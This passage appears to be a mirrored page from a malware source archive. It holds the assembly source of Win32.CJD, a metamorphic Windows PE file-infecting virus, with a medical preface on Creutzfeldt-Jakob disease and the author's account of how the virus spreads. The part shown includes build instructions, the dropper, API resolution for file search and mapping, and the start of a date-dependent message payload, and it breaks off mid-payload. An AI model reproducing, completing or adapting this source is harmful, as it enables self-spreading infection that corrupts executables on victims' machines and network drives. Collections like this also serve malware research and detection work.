mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
12103 lines
435 KiB
NASM
12103 lines
435 KiB
NASM
;
|
|
;
|
|
; CREUTZFELDT-JAKOB DISEASE BioCoded by Neurobasher/Germany
|
|
; ---------------------------------------------------------
|
|
;
|
|
;
|
|
;
|
|
;
|
|
; Index:
|
|
; ------
|
|
;
|
|
; 1 - About the biological version
|
|
; 2 - Author's description
|
|
; 3 - [WIN32.CJD] source code
|
|
;
|
|
;
|
|
;
|
|
;
|
|
; 1 - About the biological version
|
|
; --------------------------------
|
|
;
|
|
;
|
|
;---------------------------------------
|
|
;What is Bovine Spongiform Encephalopaty
|
|
;---------------------------------------
|
|
;
|
|
;BSE is a progressive, fatal neurologic disorder of cattle and is classified as one of the transmissible
|
|
;spongiform encephalopathies, a group of diseases of animals and humans believed to be caused by abnormally
|
|
;folded proteins called prions. The disease itself is known since 1920 and is often called the 'mad cow disease'.
|
|
;BSE was first identified in 1986 in the United Kingdom (UK), where it caused a large outbreak
|
|
;among cattle. Although the source of the BSE epizootic agent is uncertain, feeding cattle BSE-contaminated
|
|
;meat-and-bone meal is the major contributory factor to the amplification of BSE among cattle. Since 1986,
|
|
;BSE cases have been identified in 20 European countries, Japan, Israel, and Canada.
|
|
;
|
|
;The appearance of the new variant of CJD in several younger than average people in Great Britain and France
|
|
;has led to concern that BSE may be transmitted to humans through consumption of contaminated beef. Although
|
|
;laboratory tests have shown a strong similarity between the prions causing BSE and CJD, there is no direct
|
|
;proof to support this theory.
|
|
;
|
|
;----------------------------------
|
|
;What is Creutzfeldt-Jakob Disease?
|
|
;----------------------------------
|
|
;
|
|
;Creutzfeldt-Jakob disease (CJD) is a rare, degenerative, invariably fatal brain disorder.
|
|
;Typically, onset of symptoms occurs at about age 60.. There are three major categories of CJD:
|
|
;sporadic CJD, hereditary CJD, and acquired CJD. There is currently no single diagnostic test for CJD.
|
|
;The first concern is to rule out treatable forms of dementia such as encephalitis or chronic meningitis.
|
|
;The only way to confirm a diagnosis of CJD is by brain biopsy or autopsy. In a brain biopsy,
|
|
;a neurosurgeon removes a small piece of tissue from the patient's brain so that is can be examined
|
|
;by a neurologist. Because a correct diagnosis of CJD does not help the patient, a brain biopsy
|
|
;is discouraged unless it is need to rule out a treatable disorder. While CJD can be transmitted to
|
|
;other people, the risk of this happening is extremely small.
|
|
;
|
|
;There is no treatment that can cure or control CJD. Current treatment is aimed at alleviating symptoms
|
|
;and making the patient as comfortable as possible. Opiate drugs can help relieve pain, and the drugs
|
|
;clonazepam and sodium valproate may help relieve involuntary muscle jerks.
|
|
;
|
|
;About 90 percent of patients die within 1 year. In the early stages of disease, patients may have
|
|
;failing memory, behavioral changes, lack of coordination and visual disturbances. As the illness progresses,
|
|
;mental deterioration becomes pronounced and involuntary movements, blindness, weakness of extremities,
|
|
;and coma may occur.
|
|
;
|
|
;The leading scientific theory at this time maintains that CJD is caused by a type of protein called a prion.
|
|
;The harmless and the infectious forms of the prion protein are nearly identical, but the infectious form
|
|
;takes a different folded shape than the normal protein. Researchers are examining whether the transmissible
|
|
;agent is, in fact, a prion and trying to discover factors that influence prion infectivity and how the disorder
|
|
;damages the brain. Using rodent models of the disease and brain tissue from autopsies, they are also trying to
|
|
;identify factors that influence the susceptibility to the disease and that govern when in life the disease appears.
|
|
;
|
|
;
|
|
;
|
|
; 2 - Authors description
|
|
; -----------------------
|
|
;
|
|
;It is a very complex parasitic highly polymorphic Win32 virus that uses the entry-point ;obscuring technique.
|
|
;The virus uses a metamorphic engine and permutates its code.
|
|
;The virus infects Windows executable files (Win32 PE EXE). When run
|
|
;the virus searches for these files and randomly infects them by different infection sheme.
|
|
;The virus searches for Win32 PE executable files in the current and five levels upper
|
|
;directories, also on the available network and removable media and in the directories if
|
|
;their names not begin with "W", and infects them. The virus doesn't infect files if their
|
|
;names begin with several suspicious caracters like anti*,...
|
|
;
|
|
;or if the name contains the 'V' letter, and depending on the random counter value.
|
|
;While infecting files the virus rebuilds and encrypts its body and writes it to one of the
|
|
;host file's sections. Then, it searches for and replaces one of the calls to the
|
|
;"ExitProcess" function in the host's code section with the call to the viral code.
|
|
;Several functions depends on randomness and are mutated from generation to generation also.
|
|
;
|
|
;Payload
|
|
;Depending on the system date the virus displays various messages
|
|
;There's a really small chance the virus allows multipe infections of the files.
|
|
;This files were corrupted and won't work anymore.
|
|
;
|
|
;
|
|
; 3 - Win32 source code
|
|
; ---------------------
|
|
; bugfixed vers.
|
|
;
|
|
; To get first generation file use TASM 5.0r
|
|
; c:\tasm32 -ml -m9 -q cjdiseae.asm
|
|
; c:\tlink32 -Tpe -c -x -aa -r cjdisease.obj,,,import32
|
|
;
|
|
|
|
.386p
|
|
.model flat
|
|
locals
|
|
|
|
.code
|
|
ret
|
|
.data
|
|
|
|
|
|
AddressToFree dd 0
|
|
|
|
extrn ExitProcess:PROC
|
|
extrn VirtualAlloc:PROC
|
|
extrn VirtualFree:PROC
|
|
extrn GetModuleHandleA:PROC
|
|
extrn GetProcAddress:PROC
|
|
extrn MessageBoxA:PROC
|
|
|
|
|
|
PreMain proc
|
|
push 4
|
|
push 1000h
|
|
push 350000h
|
|
push 0
|
|
call VirtualAlloc
|
|
or eax, eax
|
|
jz @@Error
|
|
mov ebp, eax
|
|
|
|
mov [AddressToFree], eax
|
|
mov ebx, eax
|
|
mov esi, offset Main
|
|
mov edi, eax
|
|
mov ecx, offset EndOfCode
|
|
sub ecx, offset Main
|
|
rep movsb ; Copy virus
|
|
|
|
push __DISASM2_SECTION
|
|
push __DATA_SECTION
|
|
push __BUFFERS_SECTION
|
|
push __DISASM_SECTION
|
|
push __CODE_SECTION
|
|
mov eax, offset GetProcAddress
|
|
mov eax, [eax+2]
|
|
push eax
|
|
mov eax, offset GetModuleHandleA
|
|
mov eax, [eax+2]
|
|
push eax
|
|
push 5*2 ; Bit 0=0: 'A', 1
|
|
call ebx
|
|
|
|
push 0C000h
|
|
push 0
|
|
push dword ptr [AddressToFree]
|
|
call VirtualFree
|
|
@@Error:
|
|
push 0
|
|
jmp @@Dropper
|
|
|
|
title: db ' [Win32.CJD] was done by <<<NEUROBASHER/GERMANY>>> ',0
|
|
body: db ' Creutzfeldt-Jakob Disease ',0ah,0dh
|
|
db ' rare, degenerative, invariably fatal brain disorder. ',0ah,0dh
|
|
db ' ------------- ',0ah,0dh
|
|
db ' [BSE] Bovine Spongiform Encephalopaty ',0ah,0dh
|
|
db ' well known as mad-cow-disease ',0ah,0dh
|
|
db ' ',0ah,0dh
|
|
db ' f i r s t g e n e r a t i o n e x e c u t e d . . . ',0
|
|
|
|
@@Dropper:
|
|
push 0h
|
|
push offset title
|
|
push offset body
|
|
push 0h
|
|
call MessageBoxA
|
|
push 0h
|
|
call ExitProcess
|
|
PreMain endp
|
|
|
|
__CODE_SECTION EQU 000000h
|
|
__DISASM_SECTION EQU 100000h
|
|
__BUFFERS_SECTION EQU 080000h
|
|
__LABEL_SECTION EQU __BUFFERS_SECTION + 00000h
|
|
__VARIABLE_SECTION EQU __BUFFERS_SECTION + 10000h
|
|
__BUFFER1_SECTION EQU __BUFFERS_SECTION + 20000h
|
|
__BUFFER2_SECTION EQU __BUFFERS_SECTION + 30000h
|
|
__VAR_MARKS_SECTION EQU __BUFFERS_SECTION + 40000h
|
|
__DATA_SECTION EQU 0E0000h
|
|
__DISASM2_SECTION EQU 200000h
|
|
|
|
NumberOfLabels EQU __DATA_SECTION + 0000h
|
|
NumberOfInstructions EQU __DATA_SECTION + 0008h
|
|
InstructionTable EQU __DATA_SECTION + 0010h
|
|
LabelTable EQU __DATA_SECTION + 0018h
|
|
FutureLabelTable EQU __DATA_SECTION + 0020h
|
|
PathMarksTable EQU __DATA_SECTION + 0028h
|
|
NumberOfLabelsPost EQU __DATA_SECTION + 0030h
|
|
AddressOfLastInstruction EQU __DATA_SECTION + 0038h
|
|
VariableTable EQU __DATA_SECTION + 0040h
|
|
NumberOfVariables EQU __DATA_SECTION + 0048h
|
|
FramesTable EQU __DATA_SECTION + 0050h
|
|
PermutationResult EQU __DATA_SECTION + 0058h
|
|
JumpsTable EQU __DATA_SECTION + 0060h
|
|
AddressOfLastFrame EQU __DATA_SECTION + 0068h
|
|
PositionOfFirstInstruction EQU __DATA_SECTION + 0070h
|
|
MODValue EQU __DATA_SECTION + 0078h
|
|
NumberOfJumps EQU __DATA_SECTION + 0080h
|
|
RndSeed1 EQU __DATA_SECTION + 0088h
|
|
RndSeed2 EQU __DATA_SECTION + 0090h
|
|
ExpansionResult EQU __DATA_SECTION + 0098h
|
|
Register8Bits EQU __DATA_SECTION + 00A0h
|
|
Xp_Register0 EQU __DATA_SECTION + 00A8h
|
|
Xp_Register1 EQU __DATA_SECTION + 00B0h
|
|
Xp_Register2 EQU __DATA_SECTION + 00B8h
|
|
Xp_Register3 EQU __DATA_SECTION + 00C0h
|
|
Xp_Register4 EQU __DATA_SECTION + 00C8h
|
|
Xp_Register5 EQU __DATA_SECTION + 00D0h
|
|
Xp_Register6 EQU __DATA_SECTION + 00D8h
|
|
Xp_Register7 EQU __DATA_SECTION + 00E0h
|
|
DeltaRegister EQU __DATA_SECTION + 00E8h
|
|
Xp_8Bits EQU __DATA_SECTION + 00F0h
|
|
Xp_Operation EQU __DATA_SECTION + 00F8h
|
|
Xp_Register EQU __DATA_SECTION + 0100h
|
|
Xp_Mem_Index1 EQU __DATA_SECTION + 0108h
|
|
Xp_Mem_Index2 EQU __DATA_SECTION + 0110h
|
|
Xp_Mem_Addition EQU __DATA_SECTION + 0118h
|
|
Xp_Immediate EQU __DATA_SECTION + 0120h
|
|
Xp_SrcRegister EQU __DATA_SECTION + 0128h
|
|
Xp_FlagRegOrMem EQU __DATA_SECTION + 0130h
|
|
Xp_RecurseLevel EQU __DATA_SECTION + 0138h
|
|
Xp_LEAAdditionFlag EQU __DATA_SECTION + 0140h
|
|
VarMarksTable EQU __DATA_SECTION + 0148h
|
|
_BUFFERS_SECTION EQU __DATA_SECTION + 0150h
|
|
_CODE_SECTION EQU __DATA_SECTION + 0158h
|
|
_DISASM_SECTION EQU __DATA_SECTION + 0160h
|
|
_LABEL_SECTION EQU __DATA_SECTION + 0168h
|
|
_VARIABLE_SECTION EQU __DATA_SECTION + 0170h
|
|
_BUFFER1_SECTION EQU __DATA_SECTION + 0178h
|
|
_BUFFER2_SECTION EQU __DATA_SECTION + 0180h
|
|
_VAR_MARKS_SECTION EQU __DATA_SECTION + 0188h
|
|
_DATA_SECTION EQU __DATA_SECTION + 0190h
|
|
_DISASM2_SECTION EQU __DATA_SECTION + 0198h
|
|
New_CODE_SECTION EQU __DATA_SECTION + 01A0h
|
|
New_DISASM_SECTION EQU __DATA_SECTION + 01A8h
|
|
New_BUFFERS_SECTION EQU __DATA_SECTION + 01B0h
|
|
; New_LABEL_SECTION EQU __DATA_SECTION + 01B0h
|
|
; New_VARIABLE_SECTION EQU __DATA_SECTION + 01B8h
|
|
; New_BUFFER1_SECTION EQU __DATA_SECTION + 01C0h
|
|
; New_BUFFER2_SECTION EQU __DATA_SECTION + 01C8h
|
|
; New_VAR_MARKS_SECTION EQU __DATA_SECTION + 01D0h
|
|
New_DATA_SECTION EQU __DATA_SECTION + 01D8h
|
|
New_DISASM2_SECTION EQU __DATA_SECTION + 01E0h
|
|
RVA_GetModuleHandle EQU __DATA_SECTION + 01E8h
|
|
RVA_GetProcAddress EQU __DATA_SECTION + 01F0h
|
|
FlagAorW EQU __DATA_SECTION + 01F8h
|
|
ReturnValue EQU __DATA_SECTION + 0200h
|
|
hKernel EQU __DATA_SECTION + 0208h
|
|
hUser32 EQU __DATA_SECTION + 0210h
|
|
RVA_CreateFileA EQU __DATA_SECTION + 0218h
|
|
RVA_CreateFileMappingA EQU __DATA_SECTION + 0220h
|
|
RVA_MapViewOfFile EQU __DATA_SECTION + 0228h
|
|
RVA_UnmapViewOfFile EQU __DATA_SECTION + 0230h
|
|
RVA_GetFileSize EQU __DATA_SECTION + 0238h
|
|
RVA_GetFileAttributesA EQU __DATA_SECTION + 0240h
|
|
RVA_SetFileAttributesA EQU __DATA_SECTION + 0248h
|
|
RVA_SetFilePointer EQU __DATA_SECTION + 0250h
|
|
RVA_SetFileTime EQU __DATA_SECTION + 0258h
|
|
RVA_SetEndOfFile EQU __DATA_SECTION + 0260h
|
|
RVA_FindFirstFileA EQU __DATA_SECTION + 0268h
|
|
RVA_FindNextFileA EQU __DATA_SECTION + 0270h
|
|
RVA_FindClose EQU __DATA_SECTION + 0278h
|
|
RVA_CloseHandle EQU __DATA_SECTION + 0280h
|
|
RVA_MessageBoxA EQU __DATA_SECTION + 0288h
|
|
NewLabelTable EQU __DATA_SECTION + 0290h
|
|
Asm_ByteToSort EQU __DATA_SECTION + 0298h
|
|
JumpRelocationTable EQU __DATA_SECTION + 02A0h
|
|
NumberOfJumpRelocations EQU __DATA_SECTION + 02A8h
|
|
Permut_LastInstruction EQU __DATA_SECTION + 02B0h
|
|
TranslatedDeltaRegister EQU __DATA_SECTION + 02B8h
|
|
hFile EQU __DATA_SECTION + 02C0h
|
|
FileSize EQU __DATA_SECTION + 02C8h
|
|
OriginalFileSize EQU __DATA_SECTION + 02D0h
|
|
hMapping EQU __DATA_SECTION + 02D8h
|
|
MappingAddress EQU __DATA_SECTION + 02E0h
|
|
HeaderAddress EQU __DATA_SECTION + 02E8h
|
|
StartOfSectionHeaders EQU __DATA_SECTION + 02F0h
|
|
RelocHeader EQU __DATA_SECTION + 02F8h
|
|
TextHeader EQU __DATA_SECTION + 0300h
|
|
DataHeader EQU __DATA_SECTION + 0308h
|
|
RVA_TextHole EQU __DATA_SECTION + 0310h
|
|
Phys_TextHole EQU __DATA_SECTION + 0318h
|
|
TextHoleSize EQU __DATA_SECTION + 0320h
|
|
RVA_DataHole EQU __DATA_SECTION + 0328h
|
|
Phys_DataHole EQU __DATA_SECTION + 0330h
|
|
MakingFirstHole EQU __DATA_SECTION + 0338h
|
|
ExitProcessAddress EQU __DATA_SECTION + 0340h
|
|
GetModuleHandleAddress EQU __DATA_SECTION + 0348h
|
|
GetProcAddressAddress EQU __DATA_SECTION + 0350h
|
|
VirtualAllocAddress EQU __DATA_SECTION + 0358h
|
|
GetModuleHandleMode EQU __DATA_SECTION + 0360h
|
|
VirtualPositionOfVar EQU __DATA_SECTION + 0368h
|
|
PhysicalPositionOfVar EQU __DATA_SECTION + 0370h
|
|
Kernel32Imports EQU __DATA_SECTION + 0378h
|
|
hFindFile EQU __DATA_SECTION + 0380h
|
|
Addr_FilePath EQU __DATA_SECTION + 0388h
|
|
FileAttributes EQU __DATA_SECTION + 0390h
|
|
SizeOfNewCode EQU __DATA_SECTION + 0398h
|
|
FindFileData EQU __DATA_SECTION + 03A0h
|
|
OtherBuffers EQU __DATA_SECTION + 03A8h
|
|
RoundedSizeOfNewCode EQU __DATA_SECTION + 03B0h
|
|
NewAssembledCode EQU __DATA_SECTION + 03B8h
|
|
NumberOfUndoActions EQU __DATA_SECTION + 03C0h
|
|
LastHeader EQU __DATA_SECTION + 03C8h
|
|
MaxSizeOfDecryptor EQU __DATA_SECTION + 03D0h
|
|
CreatingADecryptor EQU __DATA_SECTION + 03D8h
|
|
DecryptorPseudoCode EQU __DATA_SECTION + 03E0h
|
|
AssembledDecryptor EQU __DATA_SECTION + 03E8h
|
|
Decryptor_DATA_SECTION EQU __DATA_SECTION + 03F0h
|
|
SizeOfExpansion EQU __DATA_SECTION + 03F8h
|
|
SizeOfDecryptor EQU __DATA_SECTION + 0400h
|
|
TypeOfEncryption EQU __DATA_SECTION + 0408h
|
|
EncryptionKey EQU __DATA_SECTION + 0410h
|
|
IndexValue EQU __DATA_SECTION + 0418h
|
|
IndexRegister EQU __DATA_SECTION + 0420h
|
|
BufferRegister EQU __DATA_SECTION + 0428h
|
|
CounterRegister EQU __DATA_SECTION + 0430h
|
|
BufferValue EQU __DATA_SECTION + 0438h
|
|
CounterValue EQU __DATA_SECTION + 0440h
|
|
Poly_FirstPartOfFunction EQU __DATA_SECTION + 0448h
|
|
Poly_SecondPartOfFunction EQU __DATA_SECTION + 0450h
|
|
Poly_ThirdPartOfFunction EQU __DATA_SECTION + 0458h
|
|
AdditionToBuffer EQU __DATA_SECTION + 0460h
|
|
Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h
|
|
;Index2Register EQU __DATA_SECTION + 0470h
|
|
Poly_LoopLabel EQU __DATA_SECTION + 0478h
|
|
RVA_GetSystemTime EQU __DATA_SECTION + 0480h
|
|
RVA_GetTickCount EQU __DATA_SECTION + 0488h
|
|
RVA_GetDriveTypeA EQU __DATA_SECTION + 0490h
|
|
RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h
|
|
RVA_SetCurrentDirectoryA EQU __DATA_SECTION + 04A0h
|
|
StartOfEncryptedData EQU __DATA_SECTION + 04A8h
|
|
SizeOfNewCodeP2 EQU __DATA_SECTION + 04B0h
|
|
Poly_InitialValue EQU __DATA_SECTION + 04B8h
|
|
Poly_Addition EQU __DATA_SECTION + 04C0h
|
|
Poly_ExcessJumpInstruction EQU __DATA_SECTION + 04C8h
|
|
DirectoryDeepness EQU __DATA_SECTION + 04D0h
|
|
RVA_GetSystemDefaultLCID EQU __DATA_SECTION + 04D8h
|
|
Poly_JumpRandomExecution EQU __DATA_SECTION + 04E0h
|
|
|
|
Main proc
|
|
; EBP = Delta offset
|
|
pop ebx
|
|
|
|
pop eax
|
|
mov ecx, eax
|
|
and eax, 1
|
|
mov [ebp+FlagAorW], eax
|
|
and ecx, 0FFFFFFFEh
|
|
shr ecx, 1
|
|
mov [ebp+DeltaRegister], ecx
|
|
|
|
pop eax
|
|
mov eax, [eax]
|
|
mov [ebp+RVA_GetModuleHandle], eax
|
|
pop eax
|
|
mov eax, [eax]
|
|
mov [ebp+RVA_GetProcAddress], eax
|
|
pop eax
|
|
and eax, 03FFFFFh
|
|
mov [ebp+_CODE_SECTION], eax
|
|
pop eax
|
|
and eax, 03FFFFFh
|
|
mov [ebp+_DISASM_SECTION], eax
|
|
pop eax
|
|
and eax, 03FFFFFh
|
|
mov [ebp+_BUFFERS_SECTION], eax
|
|
|
|
mov [ebp+_LABEL_SECTION], eax
|
|
add eax, 10000h
|
|
mov [ebp+_VARIABLE_SECTION], eax
|
|
add eax, 10000h
|
|
mov [ebp+_BUFFER1_SECTION], eax
|
|
add eax, 10000h
|
|
mov [ebp+_BUFFER2_SECTION], eax
|
|
add eax, 10000h
|
|
mov [ebp+_VAR_MARKS_SECTION], eax
|
|
|
|
pop eax
|
|
and eax, 03FFFFFh
|
|
mov [ebp+_DATA_SECTION], eax
|
|
pop eax
|
|
and eax, 03FFFFFh
|
|
mov [ebp+_DISASM2_SECTION], eax
|
|
push ebx ; Restore return value
|
|
|
|
|
|
mov edx, [ebp+_BUFFER1_SECTION]
|
|
add edx, ebp
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, 'nrek'
|
|
mov [edx], eax
|
|
mov eax, '23le'
|
|
mov [edx+4], eax
|
|
mov eax, 'lld.'
|
|
mov [edx+8], eax
|
|
xor eax, eax
|
|
mov [edx+0Ch], eax
|
|
call APICall_GetModuleHandle
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+hKernel], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, 'resu'
|
|
mov [edx], eax
|
|
mov eax, 'd.23'
|
|
mov [edx+4], eax
|
|
mov eax, 'll'
|
|
mov [edx+8], eax
|
|
call APICall_GetModuleHandle
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
mov [ebp+hUser32], eax
|
|
|
|
mov edx, [ebp+_BUFFER1_SECTION]
|
|
add edx, ebp
|
|
mov edi, [ebp+hKernel]
|
|
|
|
mov eax, 'aerC'
|
|
mov [edx], eax
|
|
mov eax, 'iFet'
|
|
mov [edx+4], eax
|
|
mov eax, 'Ael'
|
|
mov [edx+8], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_CreateFileA], eax
|
|
|
|
mov eax, 'ppaM'
|
|
mov [edx+0Ah], eax
|
|
mov eax, 'Agni'
|
|
mov [edx+0Eh], eax
|
|
xor eax, eax
|
|
mov [edx+12h], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_CreateFileMappingA], eax
|
|
|
|
add edx, 2
|
|
mov eax, 'VpaM'
|
|
mov [edx], eax
|
|
mov eax, 'Owei'
|
|
mov [edx+4], eax
|
|
mov eax, 'liFf'
|
|
mov [edx+8], eax
|
|
mov eax, 'e'
|
|
mov [edx+0Ch], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_MapViewOfFile], eax
|
|
|
|
sub edx, 2
|
|
mov eax, 'amnU'
|
|
mov [edx], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_UnmapViewOfFile], eax
|
|
|
|
mov eax, 'SteG'
|
|
mov [edx], eax
|
|
mov eax, 'etsy'
|
|
mov [edx+4], eax
|
|
mov eax, 'miTm'
|
|
mov [edx+8], eax
|
|
mov eax, 'e'
|
|
mov [edx+0Ch], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetSystemTime], eax
|
|
|
|
mov eax, 'virD'
|
|
mov [edx+3], eax
|
|
mov eax, 'pyTe'
|
|
mov [edx+7], eax
|
|
mov eax, 'Ae'
|
|
mov [edx+0Bh], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetDriveTypeA], eax
|
|
|
|
mov eax, 'igoL'
|
|
mov [edx+3], eax
|
|
mov eax, 'Dlac'
|
|
mov [edx+7], eax
|
|
mov eax, 'evir'
|
|
mov [edx+0Bh], eax
|
|
mov eax, 'irtS'
|
|
mov [edx+0Fh], eax
|
|
mov eax, 'Asgn'
|
|
mov [edx+13h], eax
|
|
xor eax, eax
|
|
mov [edx+17h], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetLogicalDriveStringsA], eax
|
|
|
|
mov eax, 'tsyS'
|
|
mov [edx+3], eax
|
|
mov eax, 'eDme'
|
|
mov [edx+7], eax
|
|
mov eax, 'luaf'
|
|
mov [edx+0Bh], eax
|
|
mov eax, 'ICLt'
|
|
mov [edx+0Fh], eax
|
|
mov eax, 'D'
|
|
mov [edx+13h], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetSystemDefaultLCID], eax
|
|
|
|
mov eax, 'CteS'
|
|
mov [edx], eax
|
|
mov eax, 'erru'
|
|
mov [edx+4], eax
|
|
mov eax, 'iDtn'
|
|
mov [edx+8], eax
|
|
mov eax, 'tcer'
|
|
mov [edx+0Ch], eax
|
|
mov eax, 'Ayro'
|
|
mov [edx+10h], eax
|
|
xor eax, eax
|
|
mov [edx+14h], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetCurrentDirectoryA], eax
|
|
|
|
mov eax, 'FteG'
|
|
mov [edx], eax
|
|
mov eax, 'Seli'
|
|
mov [edx+4], eax
|
|
mov eax, 'ezi'
|
|
mov [edx+8], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetFileSize], eax
|
|
|
|
mov eax, 'rttA'
|
|
mov [edx+7], eax
|
|
mov eax, 'tubi'
|
|
mov [edx+0Bh], eax
|
|
mov eax, 'Ase'
|
|
mov [edx+0Fh], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetFileAttributesA], eax
|
|
|
|
mov eax, 'FteS'
|
|
mov [edx], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetFileAttributesA], eax
|
|
|
|
mov eax, 'nioP'
|
|
mov [edx+7], eax
|
|
mov eax, 'ret'
|
|
mov [edx+0Bh], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetFilePointer], eax
|
|
|
|
mov eax, 'emiT'
|
|
mov [edx+7], eax
|
|
xor eax, eax
|
|
mov [edx+0Bh], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetFileTime], eax
|
|
|
|
mov eax, 'OdnE'
|
|
mov [edx+3], eax
|
|
mov eax, 'liFf'
|
|
mov [edx+7], eax
|
|
mov eax, 'e'
|
|
mov [edx+0Bh], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_SetEndOfFile], eax
|
|
|
|
mov eax, 'dniF'
|
|
mov [edx], eax
|
|
mov eax, 'sriF'
|
|
mov [edx+4], eax
|
|
mov eax, 'liFt'
|
|
mov [edx+8], eax
|
|
mov eax, 'Ae'
|
|
mov [edx+0Ch], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_FindFirstFileA], eax
|
|
|
|
mov eax, 'txeN'
|
|
mov [edx+4], eax
|
|
mov eax, 'eliF'
|
|
mov [edx+8], eax
|
|
mov eax, 'A'
|
|
mov [edx+0Ch], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_FindNextFileA], eax
|
|
|
|
mov eax, 'solC'
|
|
mov [edx+4], eax
|
|
mov eax, 'e'
|
|
mov [edx+8], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_FindClose], eax
|
|
|
|
add edx, 4
|
|
mov eax, 'dnaH'
|
|
mov [edx+5], eax
|
|
mov eax, 'el'
|
|
mov [edx+9], eax
|
|
call GetFunction
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_CloseHandle], eax
|
|
|
|
sub edx, 4
|
|
mov edi, [ebp+hUser32]
|
|
mov eax, 'sseM'
|
|
mov [edx], eax
|
|
mov eax, 'Bega'
|
|
mov [edx+4], eax
|
|
mov eax, 'Axo'
|
|
mov [edx+8], eax
|
|
call GetFunction
|
|
mov [ebp+RVA_MessageBoxA], eax
|
|
|
|
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetSystemTime]
|
|
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov ebx, [ebp+_BUFFER1_SECTION]
|
|
add ebx, ebp
|
|
mov eax, [ebx+04h]
|
|
add eax, [ebx+0Ch]
|
|
mov [ebp+RndSeed1], eax
|
|
add eax, [ebx+08h]
|
|
mov [ebp+RndSeed2], eax
|
|
|
|
mov eax, [ebp+RVA_MessageBoxA]
|
|
or eax, eax
|
|
jz @@NoPayload
|
|
|
|
|
|
|
|
;; Simple, silly MessageBox with a partly metamorphic message :)
|
|
|
|
mov edx, [ebp+_BUFFER1_SECTION]
|
|
add edx, ebp
|
|
mov eax, [edx+2]
|
|
and eax, 0FFh
|
|
@@ChoosePayload:
|
|
call Random
|
|
and eax, 3
|
|
cmp eax, 1
|
|
je @@CheckPayload
|
|
cmp eax, 2
|
|
je @@CheckPayload2
|
|
cmp eax, 3
|
|
je @@CheckPayload3
|
|
cmp eax, 0
|
|
je @@EndPayload
|
|
@@CheckPayload:
|
|
call Random
|
|
and eax, 03Fh
|
|
jnz @@EndPayload
|
|
push edx
|
|
call Random
|
|
and eax, 00000000h
|
|
add eax, 'DJC[' ;; "[CJD"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20200000h
|
|
add eax, 'RC ]' ;; "] CR"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'ZTUE' ;; "EUTZ"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'DLEF' ;; "FELD"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20200020h
|
|
add eax, 'AJ-T' ;; "T-JA"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00202020h
|
|
add eax, ' BOK' ;; "KOB "
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'ESID' ;; "DISE"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00202020h
|
|
add eax, ' ESA' ;; "ASE "
|
|
mov [edx], eax
|
|
call Random
|
|
and eax, 2
|
|
jnz @@TruncatePayload
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00000000h
|
|
add eax, ' )c(' ;; " (c)"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00000000h
|
|
add eax, 'N yb' ;; "by N"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00000000h
|
|
add eax, 'orue' ;; "euro"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00000000h
|
|
add eax, 'hsab' ;; "bash"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00000000h
|
|
add eax, 'G/re' ;; "er/G"
|
|
mov [edx], eax
|
|
add edx, 4
|
